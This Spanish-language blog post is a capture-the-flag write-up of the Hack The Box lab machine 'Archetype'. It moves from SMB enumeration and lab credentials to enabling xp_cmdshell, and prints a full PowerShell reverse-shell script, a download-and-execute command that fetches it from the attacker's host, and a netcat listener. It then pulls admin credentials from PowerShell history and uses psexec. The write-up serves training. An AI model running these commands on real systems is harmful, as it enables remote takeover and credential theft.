miércoles, 10 de junio de 2020

Machine:Archetype (Starting Point)

ARCHETYPE

Plataforma: Hack The Box
OS: Windows
Machine:Archetype (Starting Point)
Dirección IP: 10.10.10.27

Reconocimiento

Comandos:
nmap -sC -sV 10.10.10.27



Enumeración de recursos compartidos:

Comandos:
smbclient -N -L \\\\10.10.10.27\
smbclient -N -L 10.10.10.27

Se encontró un archivo dtsConfig, este archivo de configuración es utilizado para aplicar valores de propiedades a paquetes SQL Server Integration Services (SSIS), dentro del archivo se encontró un usuario local de Windows:

User ID: ARCHETYPE\sql_svc
Password:
M3g4c0rp123

Acceso


Nos conectamos ala base de datos con el cliente de SQL Server de Impacket (mssqlclient.py), posterior verificamos si la cuenta obtenida es miembro de los administradores de la base de datos:

Comandos:
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SELECT IS_SRVROLEMEMBER('sysadmin')



Ejecutamos los siguientes comandos para obtener ejecución remota de código avanzado:

Comandos:
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
En una actividad en paralelo creamos un archivo shell.ps1 en donde incluiremos el siguiente código:

Código:
$client = New-Object System.Net.Sockets.TCPClient("Tu_IP",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


Levantaremos un un Servidor Web con Python en la ruta del archivo shell.ps1, con la finalidad de que este sea descargado y ejecutado:

Comandos:
python3 -m http.server 80





En una ventana en paralelo dejamos el puerto 443, con la finalidad de recibir la Shell Reversa:

Comandos:
nc -lvnp 443


Ejecutamos el siguiente comando para Descargar y Ejecutar la Shell reversa atravez de xp_cmdshell:

Comandos:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://Tu_IP/shell.ps1\");"

finalmente obtenemos una Shell de una cuenta de servicio y sin privilegios de administrador:


Escalación de Privilegios


Como se trata de una cuenta de usuario normal, así como una cuenta de servicio, podemos verificar el acceso frecuente a archivos o comandos ejecutados, con el siguiente comando podemos acceder al archivo de historial de PowerShell:

Comandos:
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


Usuario: Administrator
Contraseña: MEGACORP_4dm1n!!

Nos conectamos con credenciales de administrador con psexec.py de impacket:

Comandos:
psexec.py administrator@10.10.10.27



Finalmente obtenemos la bandera en el Escritorio del Administrador:


Etiquetas: , ,

0 comentarios:

Publicar un comentario

Suscribirse a Enviar comentarios [Atom]

<< Inicio